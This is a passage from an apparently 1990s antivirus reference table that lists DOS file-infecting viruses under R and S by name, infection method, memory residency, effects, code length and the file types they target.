ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRusTiny.108 ¦INT ¦INTB¦ Er ¦108 ¦ C ¦ s ¦ L º
ºRusTiny.119 ¦INT ¦INTB¦ - ¦119 ¦ .C ¦ e ¦ L º
ºRusTiny.123 ¦INT ¦INTB¦ - ¦123 ¦ .C ¦ e ¦ L º
ºRusTiny.127 ¦INT ¦INTB¦ Er ¦127 ¦ C ¦ e ¦ L º
ºRusTiny.130 ¦INT ¦INTB¦ - ¦130 ¦ .C ¦ e ¦ L º
ºRusTiny.131 ¦INT ¦INTB¦ - ¦131 ¦ .C ¦ e ¦ L º
ºRusTiny.132 (3)¦INT ¦INTB¦ - ¦132 ¦ .C ¦ e ¦ L º
ºRusTiny.133 ¦INT ¦INTB¦ - ¦133 ¦ .C ¦ e ¦ L º
ºRusTiny.140 ¦INT ¦INTB¦ Er ¦140 ¦ C ¦ e ¦ L º
ºRusTiny.145 (2)¦INT ¦INTB¦ - ¦145 ¦ .C ¦ e ¦ L º
ºRusTiny.146 ¦INT ¦INTB¦ - ¦146 ¦ .C ¦ e ¦ L º
ºRusTiny.150 ¦INT ¦INTB¦ - ¦150 ¦ .C ¦ e ¦ L º
ºRusTiny.157 ¦INT ¦INTB¦ - ¦157 ¦ .C ¦ e ¦ L º
ºRusTiny.160 ¦INT ¦INTB¦ Er ¦160 ¦ C ¦ e ¦ L º
ºRusTiny.162 ¦INT ¦INTB¦ - ¦162 ¦ .C ¦ e ¦ L º
ºRusTiny.163 ¦INT ¦INTB¦ - ¦163 ¦ .C ¦ e ¦ L º
ºRusTiny.164 ¦INT ¦INTB¦ - ¦164 ¦ C ¦ s ¦ L º
ºRusTiny.178 ¦INT ¦INTB¦ Er ¦178 ¦ C ¦ e ¦ L º
ºRusTiny.184 ¦INT ¦INTB¦ - ¦184 ¦ C ¦ e ¦ L º
ºRusTiny.185 ¦INT ¦INTB¦ - ¦185 ¦ .C ¦ e ¦ L º
ºRusTiny.208 ¦INT ¦INTB¦ - ¦208 ¦ C ¦ e ¦ L º
ºRusTiny.225 ¦INT ¦INTB¦ - ¦225 ¦ .C ¦ e ¦ L º
ºRusTiny.409 ¦INT ¦INTB¦ - ¦409 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRaiden.1433 ¦INFI¦ADDR¦ V ¦1433 ¦ E+boot* ¦ e ¦ L+p º
ºRake.975 ¦INT ¦MCB ¦ - ¦975 ¦ E ¦ e ¦ L+p º
ºRaving.2300 ¦FIND¦ - ¦ HV ¦2300 ¦ .C * ¦ s ¦ L, overwrite º
ºRauser.83 ¦INT ¦KEEP¦ - ¦83 ¦ CE ¦ s ¦ L, companion º
ºRaymon.994 ¦FIND¦ - ¦ HV ¦994 ¦ .C.E ¦ s ¦ L, overwrite º
ºRedHack.1405 ¦INT ¦MCB ¦ H ¦1405 ¦ C ¦ s ¦ L º
ºRedLaugh.607 ¦INFI¦MCB ¦ V ¦607 ¦ .C * ¦ s ¦ L º
ºReedCat.916 ¦FIND¦ - ¦ - ¦916 ¦ .C.E&CE* ¦ e ¦ L+(1-15) º
ºRemute.779 ¦INT ¦MCB ¦ Er ¦779 ¦ CE * ¦ e ¦ L º
ºRennie.2106 ¦INT ¦MCB ¦ - ¦2106 ¦ E ¦ e ¦ L º
ºReset.607 ¦FIND¦ - ¦ V ¦607 ¦ .C * ¦ e ¦ L º
ºRevelation.4096¦INT ¦MCB ¦ V ¦4096 ¦ C * ¦ e ¦ L º
ºReverse.948 ¦INT ¦MCB ¦ - ¦948 ¦ .C.E&CE* ¦ e ¦ L+p,COMMAND.COM-0º
ºRex.1637 ¦INFI¦MCB ¦ Ch ¦1637 ¦ .C.E&CE* ¦ e ¦ L+p º
ºRift.480 ¦INFI¦MCB ¦ - ¦480 ¦ .C&C * ¦ e ¦ L º
ºRock.1076 ¦FIND¦ * ¦ V ¦1076 ¦ .E&E * ¦ e ¦ L+p º
ºRogue.1208 ¦INT ¦MCB ¦ HV ¦1208 ¦ CE * ¦ e ¦ L º
ºRoman.1995 ¦INT ¦MCB ¦ V ¦1995 ¦ C * ¦ e ¦ L º
ºRTP.Demo.4838 ¦FIND¦ - ¦ - ¦4838 ¦ .C * ¦ e ¦ L+p º
ºRuchawi.2548 ¦FIND¦ - ¦ HV ¦2548 ¦ .E&E * ¦ e ¦ L+p º
ºRush.681 ¦INFI¦INTB¦ HV ¦681 ¦ .C&C * ¦ e ¦ L+p º
ºRushHour (3)¦INT ¦KEEP¦ H ¦ ? ¦ CEO * ¦ e ¦ ? º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part S
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºSailor.785 ¦INT ¦MCB ¦ - ¦785 ¦ E ¦ e ¦ L+? º
ºSailor.938 ¦INT ¦MCB ¦ - ¦938 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSarov.1000 ¦INT ¦MCB ¦ Ch ¦1000 ¦ .C&C * ¦ e ¦ L º
ºSarov.1140 ¦INT ¦MCB ¦ Ch ¦1140 ¦ .C&C * ¦ e ¦ L º
ºSarov.1200 (2)¦INT ¦MCB ¦ Ch ¦1200 ¦ .C&C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSatanbug (3)¦INT ¦MCB ¦ - ¦3471 ¦ CE * ¦ e ¦ L+p+? º
ºSatanbug.1568 ¦INT ¦MCB ¦ - ¦1568 ¦ C * ¦ e ¦ L+? º
º.FruitFly ¦FIND¦ - ¦ H ¦2769 ¦ .C&C * ¦ e ¦ L+p+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSayha.DieHard(5)INT ¦MCB ¦ HV ¦4000 ¦ CE * ¦ e ¦ L º
º.Watpu ¦INT ¦MCB ¦ V ¦4000 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSeat.1614 ¦INT ¦MCB ¦ V ¦1614 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p º
ºSeat.1868 ¦INT ¦MCB ¦ V ¦1868 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p º
ºSeat.2389 ¦INT ¦MCB ¦ V ¦2389 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p º
ºSeat.2419 ¦INT ¦MCB ¦ V ¦2419 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSentinel.4636 ¦INT ¦MCB ¦ - ¦4636 ¦ CEO* ¦ e ¦ L º
ºSentinel.5115 ¦INT ¦MCB ¦ - ¦5115 ¦ CEO ¦ e ¦ L º
ºSentinel.5173 ¦INT ¦MCB ¦ - ¦5173 ¦ CEO* ¦ e ¦ L º
ºSentinel.5402 ¦INT ¦MCB ¦ - ¦5402 ¦ CEO ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSGWW.Ace ¦INT ¦MCB ¦HVEr¦1872 ¦ CO * ¦CsOi ¦ C-L, O-L+? º
º.Amber.1408 ¦FIND¦ - ¦ - ¦1408 ¦ .C&C * ¦ e ¦ L+? º
º.Amber.2724 ¦INT ¦MCB ¦ - ¦2724 ¦ .C.E&CE* ¦ e ¦ L+? º
º.Beast.1216 ¦INT ¦MCB ¦ - ¦1216 ¦ .C&C * ¦ e ¦ L+? º
º.Beast.1347 ¦FIND¦ - ¦ - ¦1347 ¦ .C&C * ¦ i,e ¦ L º
º.Freemun ¦FIND¦ - ¦ - ¦200 ¦ .C * ¦ s ¦ L º
º.Happy ¦FIND¦ - ¦ - ¦506 ¦ .C * ¦ e ¦ L+p º
º.Killer.3072(3)¦INT ¦MCB ¦ HEr¦3072 ¦ CEO * ¦ e ¦ L º
º.Killer.3584(2)¦INT ¦MCB ¦ HEr¦3584 ¦ CEO * ¦ e ¦ L º
º.Light ¦FIND¦ - ¦ - ¦1219 ¦ .C.E&CE* ¦ e ¦ L º
º.Maverick.1536(2INT ¦MCB ¦ H ¦1536 ¦ .C.E&CE* ¦ e ¦ L º
º.Maverick.2048 ¦INT ¦MCB ¦ V ¦2048 ¦ CEO * ¦ e ¦ L º
º.Never.1000 ¦INT ¦MCB ¦ - ¦1000 ¦ CE * ¦CsEe ¦ L º
º.Nostardamus.1870INT¦MCB ¦HVEr¦1870 ¦ .C.E&CE* ¦ e ¦ L º
º.Nostardamus.2078INT¦MCB ¦HVCh¦2078 ¦ .C.E&CE* ¦ e ¦ L º
º.Nostardamus.2184INT¦MCB ¦HVCh¦2184 ¦ .C.E&CE* ¦ e ¦ L º
º.Nostardamus.2247INT¦MCB ¦HVCh¦2247 ¦ .C.E&CE* ¦ e ¦ L º
º.Nostardamus.2308INT¦MCB ¦HVCh¦2308 ¦ .C.E&CE* ¦ e ¦ L º
º.Nostardamus.2500INT¦MCB ¦HVEr¦2500 ¦ .C.E&CE* ¦ e ¦ L º
º.Nostardamus.2560INT¦MCB ¦HVEr¦2560 ¦ .C.E&CE* ¦ e ¦ L º
º.Nostardamus.5995INT¦MCB ¦HVEr¦5995 ¦ .C.E&CE* ¦ e ¦ L º
º.Pantera ¦FIND¦ - ¦ - ¦479 ¦ .C * ¦ e ¦ L º
º.Penthouse ¦FIND¦ - ¦ S ¦1568 ¦ .C * ¦ e ¦ L+(0-49) º
º.Rattler ¦INT ¦MCB ¦ H ¦1536 ¦ CEO * ¦ e ¦ L º
º.Simbioz ¦FIND¦ - ¦ - ¦330 ¦ .C * ¦ i,e ¦ L º
º.StoneHeart ¦INT ¦MCB ¦ - ¦1514 ¦ E * ¦ e ¦ L+? º
º.Tchechen.1909 ¦INT ¦MCB ¦ HV ¦1909 ¦ CE * ¦ e ¦ L º
º.Tchechen.1912 ¦INT ¦MCB ¦ HV ¦1912 ¦ CE * ¦ e ¦ L º
º.Tchechen.1914 ¦INT ¦MCB ¦ HV ¦1914 ¦ CE * ¦ e ¦ L º
º.Tchechen.1919 ¦INT ¦MCB ¦ HV ¦1919 ¦ CE * ¦ e ¦ L º
º.Tchechen.1988 ¦INT ¦MCB ¦ - ¦1988 ¦ CE ¦ e ¦ L+? º
º.Tchechen.3338 ¦INT ¦MCB ¦ HV ¦3338 ¦ CE * ¦ e ¦ L+? º
º.Tchechen.3370 ¦INT ¦MCB ¦ HV ¦3370 ¦ CE * ¦ e ¦ L+? º
º.Tchechen.3420 ¦INT ¦MCB ¦HVEr¦3420 ¦ CE * ¦ e ¦ L+? º
º.Tchechen.3436 ¦INT ¦MCB ¦HVEr¦3436 ¦ CE * ¦ e ¦ L+? º
º.Tchechen.3564 ¦INT ¦MCB ¦HVEr¦3564 ¦ CE * ¦ e ¦ L+? º
º.Tchechen.3604 ¦INT ¦MCB ¦ HV ¦3604 ¦ CE * ¦ e ¦ L+p º
º.Train ¦INT ¦MCB ¦ Er ¦2560 ¦ CEO * ¦ e ¦ L º
º.Zoo ¦FIND¦ - ¦ V ¦383 ¦ E * ¦ i ¦ 0, inserting º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSh.254 ¦INT ¦INTB¦ - ¦254 ¦ C ¦ e ¦ L+p º
ºSh.983 ¦INFI¦ADDR¦ - ¦983 ¦ .C.E&CE* ¦ e ¦ L+p º
ºSh.988 ¦INFI¦ADDR¦ - ¦988 ¦ .C.E&CE* ¦ e ¦ L+p º
ºSh.1333 ¦INFI¦MCB ¦ HEr¦1333 ¦ .E&E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºShiny.918 ¦INT ¦MCB ¦ HV ¦918 ¦ CE * ¦ E ¦ L º
ºShiny.921 ¦INT ¦MCB ¦ VCh¦921 ¦ CE * ¦ e ¦ L º
ºShiny.934 ¦INT ¦MCB ¦ VCh¦934 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºShire.143 ¦FIND¦ - ¦ - ¦143 ¦ .C ¦ s ¦ L º
ºShire.155 ¦FIND¦ - ¦ - ¦155 ¦ .C ¦ s ¦ L º
ºShire.210 ¦FIND¦ - ¦ - ¦210 ¦ .C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºShish.1002 ¦INT ¦MCB ¦ H ¦1002 ¦ E * ¦ e ¦ L º
ºShish.1142 ¦INT ¦MCB ¦ HV ¦1142 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSibylle.853 ¦INT ¦MCB ¦ H ¦853 ¦ E * ¦ e ¦ L+p º
ºSibylle.858 ¦INT ¦MCB ¦ H ¦858 ¦ E * ¦ e ¦ L+p º
ºSibylle.1200 ¦INT ¦MCB ¦ H ¦1200 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSillyC.96 ¦FIND¦ - ¦ - ¦96 ¦ .C ¦ e ¦ L º
ºSillyC.101 ¦FIND¦ - ¦ - ¦101 ¦ .C ¦ e ¦ L º
ºSillyC.103 ¦FIND¦ - ¦ - ¦103 ¦ .C ¦ e ¦ L º
ºSillyC.104 ¦FIND¦ - ¦ - ¦104 ¦ .C ¦ e ¦ L º
ºSillyC.150 ¦FIND¦ - ¦ - ¦150 ¦ .C ¦ e ¦ L º
ºSillyC.165 ¦FIND¦ - ¦ - ¦165 ¦ .C ¦ s ¦ L º
ºSillyC.175 ¦FIND¦ - ¦ - ¦175 ¦ .C ¦ e ¦ L º
ºSillyC.192 ¦FIND¦ - ¦ - ¦192 ¦ .C ¦ s ¦ L º
ºSillyC.207 ¦FIND¦ - ¦ - ¦207 ¦ .C ¦ i ¦ 0, insert º
ºSillyC.215 ¦FIND¦ - ¦ - ¦215 ¦ .C ¦ s ¦ L º
ºSillyC.258 ¦FIND¦ - ¦ - ¦258 ¦ .C ¦ e ¦ L º
ºSillyC.316 ¦FIND¦ - ¦ H ¦316 ¦ .C * ¦ e ¦ L º
ºSillyC.365 ¦FIND¦ - ¦ VEr¦365 ¦ .C ¦ e ¦ L º
ºSillyC.439 ¦FIND¦ - ¦ - ¦439 ¦ .C&C ¦ s ¦ L º
ºSillyC.488 ¦FIND¦ - ¦ - ¦439 ¦ .C&C ¦ s ¦ L+p º
ºSillyC.490 ¦FIND¦ - ¦ - ¦490 ¦ .C ¦ e ¦ L º
ºSillyC.544 ¦FIND¦ - ¦ - ¦544 ¦ .C ¦ e ¦ L º
ºSillyC.557 ¦FIND¦ - ¦ VEr¦557 ¦ .C ¦ e ¦ L º
ºSillyC.638 ¦FIND¦ * ¦ H ¦638 ¦ .C&C * ¦ e ¦ L+p º
ºSillyC.664 ¦FIND¦ - ¦ - ¦664 ¦ .C ¦ e ¦ L º
ºSillyC.681 ¦FIND¦ - ¦ - ¦681 ¦ .C&C * ¦ e ¦ L º
ºSillyC.857 ¦FIND¦ - ¦ - ¦857 ¦ .C ¦ e ¦ L º
ºSillyC.901 ¦FIND¦ - ¦ - ¦901 ¦ .C ¦ e ¦ L º
ºSillyC.1063 ¦FIND¦ - ¦ HV ¦1063 ¦COMMAND.COM¦ e ¦ L+p º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºSillyE.511 ¦FIND¦ - ¦ - ¦511 ¦ .E ¦ e ¦ L+p º
ºSillyE.714 ¦FIND¦ - ¦ H ¦714 ¦ .E ¦ e ¦ L+p º
ºSillyE.756 ¦FIND¦ - ¦ S ¦756 ¦ .E ¦ e ¦ L+p º
ºSillyE.1264 ¦FIND¦ - ¦ H ¦1264 ¦ .E * ¦ e ¦ L+p º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºSillyO.81 ¦FIND¦ - ¦ H ¦81 ¦ .C ¦ s ¦ 0, overwrite º
ºSillyO.82 ¦FIND¦ - ¦ H ¦82 ¦ .C ¦ s ¦ 0, overwrite º
ºSillyO.247 ¦FIND¦ - ¦ H ¦247 ¦ .C ¦ s ¦ 0, overwrite º
ºSillyO.276 ¦FIND¦ - ¦ HV ¦276 ¦ .C.E * ¦ s ¦ 0, overwrite º
ºSillyO.712 ¦FIND¦ - ¦ H ¦712 ¦ .C.E * ¦ s ¦ 0, overwrite º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºSillyOR.49 ¦INT ¦KEEP¦ H ¦49 ¦ CEO ¦ s ¦ 0, overwrite º
ºSillyOR.50 ¦INT ¦KEEP¦ H ¦50 ¦ CEO ¦ s ¦ 0, overwrite º
ºSillyOR.67 ¦INT ¦KEEP¦ H ¦67 ¦ CEO ¦ s ¦ 0, overwrite º
ºSillyOR.71 ¦INT ¦KEEP¦ H ¦71 ¦ CEO ¦ s ¦ 0, overwrite º
ºSillyOR.76 ¦INT ¦KEEP¦ H ¦76 ¦ CEO ¦ s ¦ 0, overwrite º
ºSillyOR.88 ¦INT ¦DOSD¦ H ¦88 ¦ CEO ¦ s ¦ 0, overwrite º
ºSillyOR.94 ¦INT ¦DOSD¦ H ¦94 ¦ CEO ¦ s ¦ 0, overwrite º
ºSillyOR.97 ¦INT ¦DOSD¦ H ¦97 ¦ CEO ¦ s ¦ 0, overwrite º
ºSillyOR.101 ¦INT ¦DOSD¦ H ¦101 ¦ CEO ¦ s ¦ 0, overwrite º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºSillyRC.120 ¦INT ¦INTB¦ - ¦120 ¦ .C ¦ e ¦ L º
ºSillyRC.125 ¦INT ¦INTB¦ - ¦125 ¦ .C ¦ s ¦ L º
ºSillyRC.130 ¦INT ¦INTB¦ - ¦130 ¦ C ¦ e ¦ L º
ºSillyRC.131 ¦INT ¦DOSD¦ - ¦131 ¦ C ¦ e ¦ L º
ºSillyRC.140 ¦INT ¦INTB¦ - ¦140 ¦ C ¦ e ¦ L º
ºSillyRC.143 ¦INT ¦ADDR¦ - ¦143 ¦ C ¦ e ¦ L º
ºSillyRC.144 ¦INT ¦INTB¦ - ¦144 ¦ C ¦ e ¦ L º
ºSillyRC.152 ¦INT ¦INTB¦ - ¦152 ¦ C ¦ s ¦ L º
ºSillyRC.169 ¦INT ¦INTB¦ - ¦169 ¦ C ¦ e ¦ L º
ºSillyRC.178 ¦INT ¦INTB¦ - ¦178 ¦ C ¦ e ¦ L º
ºSillyRC.200 ¦INT ¦INTB¦ - ¦200 ¦ C ¦ e ¦ L º
ºSillyRC.212 ¦INT ¦DOSD¦ - ¦212 ¦ C ¦ e ¦ L º
ºSillyRC.224 ¦INT ¦INTB¦ - ¦224 ¦ C ¦ e ¦ L º
ºSillyRC.239 ¦INT ¦INTB¦ - ¦239 ¦ C ¦ s ¦ L º
ºSillyRC.240 ¦INT ¦INTB¦ - ¦240 ¦ C ¦ s ¦ L º
ºSillyRC.261 ¦INT ¦MCB ¦ - ¦261 ¦ C ¦ e ¦ L º
ºSillyRC.264 ¦INT ¦MCB ¦ - ¦264 ¦ C ¦ e ¦ L º
ºSillyRC.274 ¦INT ¦INTB¦ - ¦274 ¦ C ¦ e ¦ L º
ºSillyRC.286 ¦INT ¦INTB¦ V ¦286 ¦ C ¦ e ¦ L º
ºSillyRC.291 ¦INT ¦MCB ¦ - ¦291 ¦ C ¦ s ¦ L º
ºSillyRC.302 ¦INT ¦MCB ¦ - ¦302 ¦ C ¦ e ¦ L º
ºSillyRC.315 ¦INT ¦INTB¦ - ¦315 ¦ C ¦ e ¦ L º
ºSillyRC.316 ¦INT ¦INTB¦ - ¦316 ¦ C ¦ s ¦ L ++ º
ºSillyRC.319 ¦INT ¦INTB¦ - ¦319 ¦ C ¦ e ¦ L º
ºSillyRC.335 ¦INT ¦MCB ¦ - ¦335 ¦ C ¦ e ¦ L º
ºSillyRC.370 ¦INT ¦MCB ¦ - ¦370 ¦ C ¦ e ¦ L º
ºSillyRC.387 ¦INT ¦MCB ¦ - ¦387 ¦ C ¦ s ¦ L º
ºSillyRC.402 ¦INT ¦ADDR¦ Er ¦402 ¦ C ¦ e ¦ L º
ºSillyRC.403 ¦INT ¦MCB ¦ - ¦403 ¦ C ¦ e ¦ L+p º
ºSillyRC.414 ¦INT ¦MCB ¦ - ¦414 ¦ C ¦ e ¦ L º
ºSillyRC.419 ¦INT ¦MCB ¦ - ¦419 ¦ C ¦ e ¦ L º
ºSillyRC.438 ¦INT ¦MCB ¦ H ¦438 ¦ .C * ¦ e ¦ L º
ºSillyRC.484 ¦INT ¦MCB ¦ - ¦484 ¦ .C ¦ i ¦ L º
ºSillyRC.509 ¦INFI¦MCB ¦ - ¦509 ¦ .C ¦ e ¦ L º
ºSillyRC.538 ¦INT ¦MCB ¦ H ¦538 ¦ C ¦ e ¦ L º
ºSillyRC.588 ¦INT ¦MCB ¦ - ¦588 ¦ C ¦ s ¦ L º
ºSillyRC.613 ¦INT ¦INTB¦ - ¦613 ¦ C ¦ e ¦ L º
ºSillyRC.855 ¦INT ¦MCB ¦ - ¦855 ¦ C ¦ e ¦ L º
ºSillyRC.936 ¦INT ¦MCB ¦ Ch ¦936 ¦ C ¦ e ¦ L+p º
ºSillyRC.1079 ¦INT ¦MCB ¦ - ¦1079 ¦ C ¦ e ¦ L º
ºSillyRC.3000 ¦INFI¦MCB ¦ Er ¦3000 ¦ .C ¦ e ¦ L º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºSillyRCE.374 ¦INT ¦MCB ¦ - ¦374 ¦ CE ¦ e ¦ L º
ºSillyRCE.428 ¦INT ¦INTB¦ Er ¦428 ¦ CE ¦ e ¦ L º
ºSillyRCE.601 ¦INT ¦MCB ¦ - ¦601 ¦ CE ¦ e ¦ L º
ºSillyRCE.604 ¦INT ¦MCB ¦ - ¦604 ¦ CE ¦ e ¦ L º
ºSillyRCE.822 ¦INT ¦MCB ¦ Er ¦822 ¦ CE * ¦ e ¦ L º
ºSillyRCE.947 ¦INT ¦ADDR¦ Er ¦947 ¦ CE ¦ e ¦ C-L, E-L+p º
ºSillyRCE.972 ¦INT ¦KEEP¦ HEr¦972 ¦ CEO * ¦ e ¦ L+p º
ºSillyRCE.1055 ¦INT ¦MCB ¦ - ¦1055 ¦ CE * ¦ e ¦ L+p º
ºSillyRCE.1277 ¦INT ¦MCB ¦ - ¦1277 ¦ .C.E&CE ¦ e ¦ L º
ºSillyRCE.1320 ¦INT ¦MCB ¦ - ¦1320 ¦ .C.E&CE ¦ e ¦ L+p º
ºSillyRCE.2101 ¦INT ¦MCB ¦ - ¦2101 ¦ .C.E&CE ¦ e ¦ C-L, E-L+514 º
ºSillyRCE.2145 ¦INT ¦MCB ¦ Er ¦2145 ¦ .C.E&E ¦ e ¦ L º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºSillyRE.323 ¦INT ¦INTB¦ - ¦323 ¦ .E&E ¦ e ¦ L º
ºSillyRE.334 ¦INT ¦MCB ¦ - ¦334 ¦ .E&E ¦ e ¦ L+p º
ºSillyRE.488 ¦INT ¦INTB¦ H ¦488 ¦ E * ¦ e ¦ L+p º
ºSillyRE.525 ¦INT ¦MCB ¦ V ¦525 ¦ E * ¦ e ¦ L º
ºSillyRE.528 ¦INT ¦MCB ¦ Er ¦528 ¦ E ¦ e ¦ L º
ºSillyRE.666 ¦INT ¦MCB ¦ H ¦666 ¦ .E&E * ¦ e ¦ L º
ºSillyRE.814 ¦INT ¦MCB ¦ Ch ¦814 ¦ E * ¦ e ¦ L º
ºSillyRE.991 ¦INT ¦MCB ¦ Er ¦991 ¦ .E&E ¦ e ¦ L+p º
ºSillyRE.3072 ¦INT ¦MCB ¦ - ¦3072 ¦ E ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSingapore.521 ¦FIND¦ - ¦ - ¦521 ¦ .C * ¦ e ¦ L º
ºSingapore.534 ¦FIND¦ - ¦ - ¦534 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSiskin.463 ¦INT ¦INTB¦ V ¦463 ¦ .C ¦ e ¦ L º
ºSiskin.839 ¦INT ¦MCB ¦ S ¦839 ¦ CEO ¦ e ¦ L º
ºSiskin.948 ¦INT ¦MCB ¦ S ¦948 ¦ CEO ¦ e ¦ L º
ºSiskin.966 ¦INT ¦MCB ¦ S ¦966 ¦ CEO ¦ e ¦ L º
